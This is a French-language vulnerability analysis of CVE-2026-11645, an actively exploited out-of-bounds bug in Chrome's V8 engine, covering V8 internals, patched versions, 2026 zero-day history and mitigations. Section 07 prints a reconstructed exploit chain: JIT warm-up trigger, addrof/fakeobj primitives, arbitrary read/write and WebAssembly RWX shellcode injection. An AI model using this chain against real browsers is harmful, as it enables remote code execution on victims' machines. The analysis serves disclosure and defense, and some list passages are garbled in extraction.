01 - Résumé exécutif
Le 8 juin 2026, Google a publié en urgence une mise à jour de sécurité pour Chrome corrigeant 74 vulnérabilités, dont 17 critiques. Parmi elles, CVE-2026-11645 se distingue : il s'agit d'un zero-day de haute sévérité (CVSS 8.8), activement exploité dans la nature au moment de la publication du correctif.
La vulnérabilité réside dans V8, le moteur JavaScript de Chrome. Elle appartient à la classe des accès mémoire hors limites (Out-of-Bounds Read & Write) et permet à un attaquant distant d'exécuter du code arbitraire dans le sandbox du navigateur en amenant simplement une victime à visiter une page HTML malveillante. Aucune interaction supplémentaire n'est requise au-delà de la visite.
Il s'agit du cinquième zero-day Chrome corrigé en 2026, tous exploités in the wild avant la publication d'un patch. Cette cadence confirme que V8 et le pipeline de rendu Chromium restent parmi les surfaces d'attaque les plus ciblées du web moderne.
Toute version de Chrome antérieure à 149.0.7827.103 est vulnérable. Mettre à jour immédiatement via Menu ⋮ → Aide → À propos de Google Chrome. Les navigateurs basés sur Chromium (Edge, Brave, Opera, Vivaldi) partagent V8 et sont également exposés jusqu'à publication de leur propre correctif.
| Attribut | Valeur |
|---|---|
| Identifiant | CVE-2026-11645 |
| Score CVSS 3.1 | 8.8 (Haute) |
| Type | Out-of-Bounds Read & Write (CWE-125 / CWE-787) |
| Composant | V8, moteur JavaScript de Chrome |
| Impact | RCE dans le sandbox renderer |
| Exploitation active | Confirmée par Google |
| Bug bounty versé | 55 000 USD |
| Version corrigée | Chrome 149.0.7827.103 (Win/Mac) · 149.0.7827.102 (Linux) |
02 - Contexte : V8, le cœur du problème
Qu'est-ce que V8 ?
V8 est le moteur JavaScript open-source développé par Google, intégré à Chrome depuis sa première version en 2008. Il est également le moteur de Node.js, Deno, et de nombreux autres environnements d'exécution JavaScript. Son rôle est de compiler et d'exécuter l'intégralité du code JavaScript chargé par le navigateur (scripts de pages web, service workers, extensions).
V8 fonctionne en deux phases complémentaires. L'interpréteur Ignition exécute d'abord le bytecode en collectant des profils de types sur les variables et les objets. Lorsqu'une fonction est détectée comme "chaude" (exécutée plus de quelques milliers de fois), le compilateur optimisant TurboFan prend le relais pour la compiler en code machine natif très performant, en s'appuyant sur les hypothèses de type collectées.
JavaScript source
│
▼
Parser → AST (Abstract Syntax Tree)
│
▼
Ignition → Bytecode + collecte de profils de types
│
▼ (fonctions "chaudes" → > N exécutions)
TurboFan → Code machine optimisé
│ (hypothèses sur les types et les bornes)
▼
Deoptimization → Retour Ignition si hypothèse invalidée
C'est précisément cette optimisation agressive des hypothèses qui est à l'origine de nombreuses vulnérabilités. TurboFan effectue des analyses d'alias, des éliminations de code mort, et des suppressions de vérifications redondantes, y compris parfois des bounds checks sur les accès aux tableaux. Une seule hypothèse incorrecte sur les bornes ou les types suffit à ouvrir une fenêtre d'exploitation.
La complexité de V8 est également structurelle : le moteur doit gérer des dizaines de types d'éléments de tableaux (elements kinds), des représentations mémoire optimisées (Smi, double, tagged pointer), et des transitions dynamiques entre ces représentations. Cette richesse fonctionnelle est une surface d'attaque permanente pour les chercheurs en sécurité.
03 - Les vulnérabilités Out-of-Bounds dans V8
Une vulnérabilité Out-of-Bounds (OOB) dans V8 survient lorsque le moteur accède à une zone mémoire située au-delà des bornes d'un buffer alloué. Dans le contexte de TurboFan, cela arrive typiquement lorsqu'une passe d'optimisation élimine à tort une vérification de borne (la bounds check elimination) en se basant sur des hypothèses de type qui se révèlent incorrectes au moment de l'exécution.
Structure mémoire des tableaux V8
Pour comprendre comment exploiter un OOB, il faut d'abord comprendre comment V8 représente les tableaux JavaScript en mémoire. Chaque tableau est un objet JSArray qui contient un pointeur vers un FixedArray, le backing store qui stocke réellement les éléments.
// Représentation interne d'un tableau JavaScript dans le heap V8 struct JSArray { Map map; // 0x00 : type et layout de l'objet (HiddenClass) Properties properties; // 0x08 : propriétés nommées de l'objet Elements elements; // 0x10 : pointeur → FixedArray (backing store) Smi length; // 0x18 : longueur JS visible (entier Smi tagué) }; struct FixedArray { Map map; // 0x00 : descripteur de type Smi length; // 0x08 : capacité réelle du buffer ← borne physique Object objects[]; // 0x10 : éléments (taille variable) }; // Pointer tagging V8 : tous les pointeurs heap ont le bit 0 à 1 // Smi (small integer) : bit 0 à 0, valeur shiftée d'un bit à gauche // Exemple : l'entier JS 5 est représenté comme 0x0000000A en mémoire V8 // Un pointeur 0xdeadbeef est stocké comme 0xdeadbeef | 1 = 0xdeadbef1
TurboFan insère des vérifications de borne à chaque accès tableau (if (index >= length) throw). Pour optimiser les performances, il tente de prouver statiquement que certains index sont toujours dans les bornes et supprime ces vérifications. Si cette preuve repose sur une hypothèse de type incorrecte (par exemple, que l'index est toujours un entier positif borné), la suppression du check ouvre une OOB exploitable.
Déclenchement via JIT
La vulnérabilité CVE-2026-11645 se déclenche via une page HTML contenant du JavaScript spécialement conçu pour forcer TurboFan à compiler une fonction avec un bounds check manquant. Le pattern classique consiste à "chauffer" une fonction avec des entrées normales pour que TurboFan la compile, puis à la déclencher avec des entrées anormales qui exploitent l'hypothèse incorrecte.
// CVE-2026-11645 : reconstruction basée sur la classe OOB V8 via TurboFan // (code source exact sous embargo Google jusqu'au patch massif) function trigger(arr) { // TurboFan analyse cette boucle et peut éliminer la vérification // de borne sur l'index calculé si son analyse de range est incorrecte for (let i = 0; i < arr.length; i++) { let idx = computeIndex(i); // peut retourner une valeur >= arr.length arr[idx] = 1.1; // ÉCRITURE OOB si bounds check éliminé } } // Chauffer le JIT : 50 000 itérations suffisent généralement à // forcer la compilation TurboFan d'une fonction "chaude" const arr = new Array(10).fill(1.1); for (let i = 0; i < 50000; i++) trigger(arr); // warm-up JIT trigger(arr); // déclenchement avec le chemin TurboFan optimisé (sans bounds check)
Ce qui se passe en mémoire lors de l'OOB
Lorsque la vérification de borne est absente, V8 accède au-delà du FixedArray de notre tableau et atteint l'objet alloué juste après sur le heap. En contrôlant précisément le layout du heap (par de l'heap grooming), l'attaquant peut placer un Float64Array adjacent dont il contrôlera ensuite le champ backing_store, c'est-à-dire le pointeur vers les données du TypedArray.
En écrivant à arr[13], l'attaquant remplace le backing_store du Float64Array voisin par une adresse de son choix. Toute lecture ou écriture ultérieure dans ce TypedArray accédera désormais à l'adresse cible, donnant une primitive de lecture/écriture arbitraire dans l'espace d'adressage du processus renderer.
04 - Fiche technique de la vulnérabilité
| Attribut | Détail |
|---|---|
| Identifiant CVE | CVE-2026-11645 |
| CWE | CWE-125 (Out-of-Bounds Read) & CWE-787 (Out-of-Bounds Write) |
| Composant | V8, moteur JavaScript de Google Chrome |
| Vecteur CVSS 3.1 | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Score CVSS 3.1 | 8.8 (Haute sévérité) |
| Versions affectées | Chrome < 149.0.7827.103 (toutes plateformes) |
| Version corrigée | 149.0.7827.102/.103 (Windows/macOS) · 149.0.7827.102 (Linux) |
| Vecteur d'attaque | Réseau : page HTML spécialement conçue |
| Authentification | Aucune requise |
| Interaction utilisateur | Requise (visiter la page malveillante) |
| Impact C / I / A | Haut / Haut / Haut |
| Chercheur | Anonyme (identifiant Google : 303f06e3) |
| Date de signalement | 27 avril 2026 |
| Bug bounty versé | 55 000 USD |
| Exploitation active | Confirmée par Google |
| Rang zero-day 2026 | 5ème zero-day Chrome de l'année |
Google maintient une restriction d'accès sur le bug tracker Chromium tant qu'une majorité d'utilisateurs n'a pas installé le correctif. La même restriction s'applique si la vulnérabilité touche une bibliothèque tierce non encore corrigée. Les reconstructions de code présentées dans cet article sont basées sur l'analyse de la classe de vulnérabilité (OOB V8 via TurboFan) et de CVE similaires publiées, pas sur le code source original de l'exploit.
05 - Exploitation dans la nature
Google a publiquement confirmé : "Google is aware that an exploit for CVE-2026-11645 exists in the wild." Aucun détail sur les acteurs, les cibles géographiques ou sectorielles, ni sur les vecteurs de distribution précis n'a été divulgué. C'est une pratique standard de responsible disclosure : retenir les informations techniques pendant la fenêtre de déploiement du patch.
Le délai de six semaines entre le signalement (27 avril) et la publication du correctif (8 juin) est cohérent avec le cycle de développement Chrome pour une vulnérabilité critique dans V8 : analyse du root cause, développement du patch, régression testing sur l'ensemble de la suite de tests V8 (plusieurs millions de cas), et validation du déploiement progressif.
Ce type d'exploit se distribue classiquement via trois vecteurs : phishing ciblé (lien vers une page malveillante), malvertising (publicité injectée sur des sites légitimes), ou watering hole (compromission d'un site fréquenté par la cible). Une simple visite de la page suffit, aucun téléchargement ni clic supplémentaire n'est nécessaire.
Les acteurs qui exploitent des zero-days Chrome avant patch sont typiquement des groupes APT nationaux (espionnage, compromission de cibles gouvernementales) ou des opérateurs de spyware commercial (NSO Group, Intellexa et leurs équivalents). La confirmation d'exploitation in the wild par Google sans détails sur les attaquants est cohérente avec un contexte de divulgation responsable coordonnée avec des partenaires gouvernementaux.
06 - Historique des zero-days Chrome en 2026
CVE-2026-11645 s'inscrit dans une tendance de fond : cinq zero-days Chrome exploités in the wild ont été corrigés en moins de six mois en 2026. Cette densité confirme que les navigateurs web restent une cible prioritaire pour les acteurs les plus sophistiqués.
| CVE | Date patch | Composant | Statut |
|---|---|---|---|
CVE-2026-2441 |
Février 2026 | V8 | Exploité |
CVE-2026-3909 |
Mars 2026 | V8 | Exploité |
CVE-2026-3910 |
Mars 2026 | V8 | Exploité |
CVE-2026-5281 |
Avril 2026 | Chrome | Exploité |
CVE-2026-11645 |
Juin 2026 | V8 / TurboFan | Exploité (actuel) |
Microsoft Edge, Brave, Opera et Vivaldi partagent le même moteur V8 et sont exposés à CVE-2026-11645 jusqu'à publication de leurs correctifs respectifs. Les équipes de sécurité de ces produits suivent les patches Chrome et publient généralement leurs mises à jour dans les 24 à 72 heures après le patch Google.
07 - Chaîne d'exploitation complète
Une OOB Read/Write dans V8 ne donne pas directement un shell. Elle est le point de départ d'une chaîne d'exploitation en plusieurs étapes, chacune construisant sur la précédente pour progresser vers l'exécution de code arbitraire dans le processus renderer.
Primitives fondamentales : addrof et fakeobj
Les deux primitives classiques de tout exploit V8 sont addrof(obj), qui permet de fuiter l'adresse heap d'un objet JavaScript quelconque, et fakeobj(addr), qui permet de faire croire à V8 qu'une adresse arbitraire est un objet JavaScript valide. Ces deux primitives sont construites à partir de l'OOB.
// ── Helpers de conversion float ↔ bigint ────────────────────────────── const _f64 = new Float64Array(1); const _i64 = new BigInt64Array(_f64.buffer); const f2i = f => { _f64[0] = f; return _i64[0]; }; const i2f = i => { _i64[0] = i; return _f64[0]; }; // ── Primitive addrof() : fuite de l'adresse heap d'un objet JS ───────── // Pose l'objet dans container[0] (tableau d'objets tagués), // puis lit sa valeur via l'OOB sur oob_arr (tableau de doubles) function addrof(obj) { container[0] = obj; return f2i(oob_arr[TARGET_IDX]) & ~1n; // masque le bit de tag } // ── Primitive fakeobj() : désigne une adresse comme objet JS ────────── // Écrit addr via l'OOB dans le slot où container[0] sera lu, // V8 retourne alors un "objet" pointant vers addr function fakeobj(addr) { oob_arr[TARGET_IDX] = i2f(addr | 1n); // ajoute le bit de tag return container[0]; } // ── R/W arbitraire via TypedArray forgé ─────────────────────────────── // On crée un faux Float64Array dont on contrôle le backing_store const fake_ta_addr = addrof(backing_template) - 0x20n; const fake_ta = fakeobj(fake_ta_addr); const dv = new DataView(fake_ta.buffer); function read64(addr) { fake_ta['backing_store'] = i2f(addr); return dv.getBigUint64(0, true); } function write64(addr, val) { fake_ta['backing_store'] = i2f(addr); dv.setBigUint64(0, val, true); }
Injection de shellcode via WebAssembly JIT
Une fois la primitive R/W arbitraire établie, l'étape finale consiste à trouver une zone mémoire exécutable et writable (RWX) dans le processus. V8 crée de telles pages pour le code WebAssembly compilé. En chargeant un module WASM minimal, l'attaquant peut fuiter l'adresse de la page JIT et y écrire un shellcode.
// Étape 1 : compiler un module WASM minimal pour forcer V8 à créer // une page JIT RWX (Read-Write-Execute) dans le processus renderer const wasm_bytes = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, // magic: \0asm 0x01, 0x00, 0x00, 0x00, // version: 1 0x01, 0x04, 0x01, 0x60, 0x00, 0x00, // type section: () → void 0x03, 0x02, 0x01, 0x00, // function section 0x0a, 0x04, 0x01, 0x02, 0x00, 0x0b // code section: nop; end ]); const wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes)); // Étape 2 : fuiter l'adresse de la page JIT via notre R/W arbitraire // L'instance WASM contient un pointeur vers la page RWX dans ses entrailles const wasm_addr = addrof(wasm_mod.exports.main); const rwx_page = read64(wasm_addr + 0x60n); // offset variable selon version V8 // Étape 3 : écrire le shellcode dans la page RWX, byte par byte const shellcode = new Uint8Array([ /* shellcode spécifique à la plateforme, ex : calc.exe (PoC) ou payload C2 pour persistance dans le renderer (exploitation réelle) */ ]); for (let i = 0n; i < BigInt(shellcode.length); i++) { write64(rwx_page + i, BigInt(shellcode[i])); } // Étape 4 : appeler la fonction WASM pour déclencher l'exécution du shellcode wasm_mod.exports.main(); // → shellcode s'exécute dans le processus renderer
Enchaînement complet de la chaîne d'exploitation
Float64Array adjacent à notre tableau OOB dans le heap V8, à un offset prévisible.FixedArray.backing_store du Float64Array voisin. Ces deux primitives donnent un contrôle total sur la représentation des objets V8.Float64Array via fakeobj() pointant vers une structure sous notre contrôle. Chaque modification du backing_store change la cible des R/W.L'exécution obtenue reste confinée dans le processus renderer de Chrome, lui-même sandboxé par le système d'exploitation. Pour compromettre entièrement le système, l'attaquant doit enchaîner avec un second exploit de type sandbox escape (vulnérabilité noyau, GPU process, ou broker process). CVE-2026-11645 constitue le premier maillon (sérieux) d'une telle chaîne.
08 - Patch et versions corrigées
Google a intégré le correctif dans les versions suivantes, déployées progressivement via le système de mise à jour automatique de Chrome. Le déploiement progressif signifie que la mise à jour peut ne pas être immédiatement disponible sur toutes les machines.
| Plateforme | Version corrigée | Statut |
|---|---|---|
| Windows & macOS | 149.0.7827.102 et 149.0.7827.103 | Disponible |
| Linux | 149.0.7827.102 | Disponible |
| Microsoft Edge | À confirmer (suivre les advisories Microsoft) | Patch attendu |
| Brave / Opera / Vivaldi | À confirmer (surveiller les changelogs) | Patch attendu |
Menu Chrome ⋮ → Aide → À propos de Google Chrome. Chrome vérifie et installe la mise à jour disponible. Redémarrer le navigateur pour appliquer le patch. La version affichée doit être ≥ 149.0.7827.102.
09 - Comment se protéger
Group Policy Object (Windows) ou profil MDM (macOS/iOS). Prioriser les postes exposés à internet et les profils à risque élevé (dirigeants, RH, finance, IT).10 - Recommandations
Au-delà du correctif immédiat, CVE-2026-11645 met en lumière des axes de défense en profondeur qui méritent d'être intégrés dans une stratégie de sécurité durable.
Patch management proactif
La mise à jour des navigateurs doit être automatisée et forcée dans les environnements d'entreprise. Un parc non patchable est une surface d'attaque permanente. Le délai entre la disponibilité d'un correctif et son déploiement effectif sur l'ensemble des postes doit être mesuré et réduit à moins de 24 heures pour les vulnérabilités critiques activement exploitées.
Défense en profondeur : réduire la blast radius
CVE-2026-11645 donne un renderer RCE (exécution de code dans le processus sandboxé). La barrière suivante est le sandbox lui-même. Renforcer cette barrière via des politiques OS strictes (seccomp-bpf sur Linux, Sandbox Policy sur Windows) réduit significativement l'impact d'un second exploit enchaîné pour le sandbox escape.
Browser Isolation pour les profils à risque élevé
Pour les environnements à risque élevé (VIP, accès aux systèmes critiques, développeurs ayant accès aux dépôts de production), le Remote Browser Isolation (RBI) exécute la session de navigation web dans un conteneur distant isolé du poste de travail. Même un exploit complet (RCE + sandbox escape) ne compromet que le conteneur jetable, pas le poste de l'utilisateur.
Surveillance comportementale EDR
Détecter les comportements anormaux des processus Chrome : création de processus enfants inattendus, accès réseau sortant depuis le renderer, injection de DLL, modification de fichiers système. Ces comportements post-exploitation sont détectables par un EDR correctement configuré même si le vecteur initial (la page web) échappe à la détection.
--enable-features=RendererCodeIntegrity. Sur Linux : vérifier l'activation de seccomp dans les flags Chrome.CVE-2026-11645 est une vulnérabilité sérieuse, activement exploitée, dans l'un des composants logiciels les plus répandus de la planète. La bonne nouvelle : un correctif est disponible. La mauvaise : tant qu'il n'est pas déployé, chaque visite sur une page web malveillante expose l'utilisateur à une exécution de code arbitraire dans son navigateur. La réponse est simple et immédiate : mettre à jour Chrome maintenant.
11 - Références
- Google Chrome Releases Blog, "Stable Channel Update for Desktop", 8 juin 2026 : chromereleases.googleblog.com
- NVD/NIST, CVE-2026-11645 Detail : nvd.nist.gov
- Help Net Security, Sinisa Markovic, "Google patches Chrome zero-day exploited in the wild (CVE-2026-11645)", 9 juin 2026 : helpnetsecurity.com
- Infosecurity Magazine, Kevin Poireault, "Google Releases Patch for Chrome Vulnerability Exploited in the Wild", 9 juin 2026 : infosecurity-magazine.com
- RET2 Systems, "Weaponization of a JavaScriptCore Vulnerability", référence sur les primitives addrof/fakeobj : blog.ret2.io
- Brendon Tiszka, "V8: Exploiting CVE-2021-21225 and Disabling W^X", mécanismes OOB V8 et WASM RWX : tiszka.com
- elttam, "Simple Bugs With Complex Exploits", éléments kind et backing store V8 : elttam.com
- CISA Known Exploited Vulnerabilities Catalog : cisa.gov